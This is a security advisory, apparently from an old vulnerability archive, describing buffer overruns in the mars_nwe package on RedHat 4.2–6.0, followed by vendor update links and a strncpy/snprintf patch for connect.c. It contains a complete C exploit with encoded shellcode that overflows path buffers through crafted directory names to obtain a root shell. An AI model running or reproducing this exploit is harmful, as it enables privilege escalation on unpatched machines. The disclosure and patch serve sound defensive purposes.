COMMAND
mars_nwe
SYSTEMS AFFECTED
RedHat 4.2, 5.2, 6.0
PROBLEM
Przemyslaw Frasunek posted following (Lublin BSD Users Group).
Babcia Padlina Ltd. has discovered many buffer overruns in running
with superuser priviliges parts of mars_nwe package.
By creating carefully designed directories or bindery objects it
is possible to execute arbitrary code.
Sample code (won't work with NLS support enabled):
// get a suid shell :)
#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>
#define BUFSIZE 254
#define NOP 0x90
#define RET 0xbffff3a0
#define ALIGN 1
int makedir(dir)
char *dir;
{
if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;
if (chdir(dir))
return -1;
return 0;
}
int main(void)
{
int i = 0, noplen = 0;
char pid[10], buf[BUFSIZE], *ptr = NULL;
char szelkod[] =
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d"
"\x31\xc9\xb1\x88\x80\x36\x01\x46\xe2\xfa\xea\x19\x2e"
"\x63\x68\x6f\x2e\x62\x69\x6c\x6e\x65\x01\x35\x36\x34"
"\x34\x01\x2e\x63\x68\x6f\x2e\x72\x69\x01\x88\xf7\x54"
"\x88\xe4\x82\xed\x19\x56\x57\x52\xe9\x01\x01\x01\x01"
"\x5a\x80\xc2\xcf\x11\x01\x01\x8c\xba\x0b\xee\xfe\xfe"
"\x88\x7c\xf1\x8c\x82\x14\xee\xfe\xfe\x88\x44\xf5\x8c"
"\x92\x1b\xee\xfe\xfe\x88\x54\xf9\xc6\x44\xfd\x01\x01"
"\x01\x01\xb9\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88"
"\xf2\xcc\x81\x8c\x44\xf1\x88\xc0\xb9\x0a\x01\x01\x01"
"\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x8c\x64\xdd\x5a"
"\x5f\x5e\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91"
"\x91\x91\x91\x00";
sprintf(pid, "%d", getpid());
if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}
if (chdir(pid))
{
perror("chdir()");
return -1;
}
ptr = buf;
noplen = BUFSIZE - strlen(szelkod);
for (i=0;i<noplen;i++)
*ptr++ = NOP;
*ptr += noplen;
for (i=0;i<strlen(szelkod);i++)
*ptr++ = szelkod[i];
*ptr = '\0';
if(makedir(buf) < 0)
{
perror("makedir()");
return -1;
}
bzero(buf, BUFSIZE);
memset(buf, NOP, 40 + ALIGN);
if(makedir(buf) < 0)
{
perror("makedir()");
return -1;
}
bzero(buf, BUFSIZE);
for(i=0;i<96;i+=4)
*(long *)&buf[i] = RET;
for(i=0;i<2;i++)
{
if(makedir(buf) < 0)
{
perror("makedir()");
return -1;
}
}
return 0;
}
SOLUTION
RPMs required:
ftp://updates.redhat.com//4.2/i386/mars-nwe-0.99pl17-0.4.2.i386.rpm
ftp://updates.redhat.com//4.2/SRPMS/mars-nwe-0.99pl17-0.4.2.src.rpm
ftp://updates.redhat.com//5.2/i386/mars-nwe-0.99pl17-0.5.2.i386.rpm
ftp://updates.redhat.com//5.2/SRPMS/mars-nwe-0.99pl17-0.5.2.src.rpm
ftp://updates.redhat.com//6.0/i386/mars-nwe-0.99pl17-4.i386.rpm
ftp://updates.redhat.com//6.0/alpha/mars-nwe-0.99pl17-4.alpha.rpm
ftp://updates.redhat.com//6.0/sparc/mars-nwe-0.99pl17-4.sparc.rpm
ftp://updates.redhat.com//6.0/SRPMS/mars-nwe-0.99pl17-4.src.rpm
Patches for mars_nwe 0.99pl15 follows:
--- connect.c.orig Mon Aug 30 11:20:45 1999
+++ connect.c Mon Aug 30 13:57:53 1999
@@ -113,17 +113,17 @@
|| !nw_volumes[volume].unixnamlen) {
errorp(10, "build_unix_name", "volume=%d not ok\n", volume);
strcpy(unixname, "Z/Z/Z/Z"); /* */
return(unixname);
}
- strcpy(unixname, (char*)nw_volumes[volume].unixname); /* first UNIXNAME VOLUME */
+ strncpy(unixname, (char*)nw_volumes[volume].unixname, sizeof(unixname)-1); /* first UNIXNAME VOLUME */
p = pp = unixname+strlen(unixname);
- strcpy(p, (char*)nwpath->path); /* now the path */
+ strncpy(p, (char*)nwpath->path, (sizeof(unixname)-strlen(unixname)-1)); /* now the path */
p += strlen((char*)nwpath->path);
if ( (!(modus & 1)) && nwpath->fn[0])
- strcpy(p, (char*)nwpath->fn); /* and now fn */
+ strncpy(p, (char*)nwpath->fn, (sizeof(unixname)-strlen(unixname)-1)); /* and now fn */
else if ((modus & 2) && (*(p-1) == '/')) {
if (p > unixname+1) *(--p) = '\0';
else {
*p++ = '.';
*p = '\0';
@@ -176,11 +176,11 @@
} else
rethandle=nhandle;
/* init dir_handle */
dh=&(dir_handles[rethandle-1]);
- strcpy(dh->unixname, build_unix_name(nwpath, 0));
+ strncpy(dh->unixname, build_unix_name(nwpath, 0), sizeof(dh->unixname)-1);
dh->kpath = dh->unixname + strlen(dh->unixname);
if (dh->f) {
closedir(dh->f);
dh->f=NULL;
}
@@ -392,12 +392,12 @@
{
static char nwpathname[300];
char volname[100];
if (p->volume < 0 || p->volume >= used_nw_volumes) {
sprintf(volname, "<%d=NOT-OK>", (int)p->volume);
- } else strcpy(volname, (char*)nw_volumes[p->volume].sysname);
- sprintf(nwpathname, "%s:%s%s", volname, p->path, p->fn);
+ } else strncpy(volname, (char*)nw_volumes[p->volume].sysname, sizeof(volname)-1);
+ snprintf(nwpathname, sizeof(nwpathname), "%s:%s%s", volname, p->path, p->fn);
return(nwpathname);
}
/* new from Andrew Sapozhnikov <sapa@hq.icb.chel.su>
* added in 0.99.pl7, removes old x_str_match routine
@@ -576,14 +576,14 @@
fs->ubuf = NULL;
}
fs->attrib = attrib;
if (volume < 0 || volume >= used_nw_volumes) return(-1); /* something wrong */
else soptions = nw_volumes[volume].options;
- strcpy((char*)entry, (char*)nwpath->fn);
+ strncpy((char*)entry, (char*)nwpath->fn, sizeof(entry)-1);
nwpath->fn[0] = '\0';
- strcpy(xkpath, build_unix_name(nwpath, 1|2));
+ strncpy(xkpath, build_unix_name(nwpath, 1|2), sizeof(xkpath)-1);
XDPRINTF((5,0,"func_search_entry attrib=0x%x path:%s:, xkpath:%s:, entry:%s:",
attrib, nwpath->path, xkpath, entry));
if ( (!stat(xkpath, &(fs->statb)))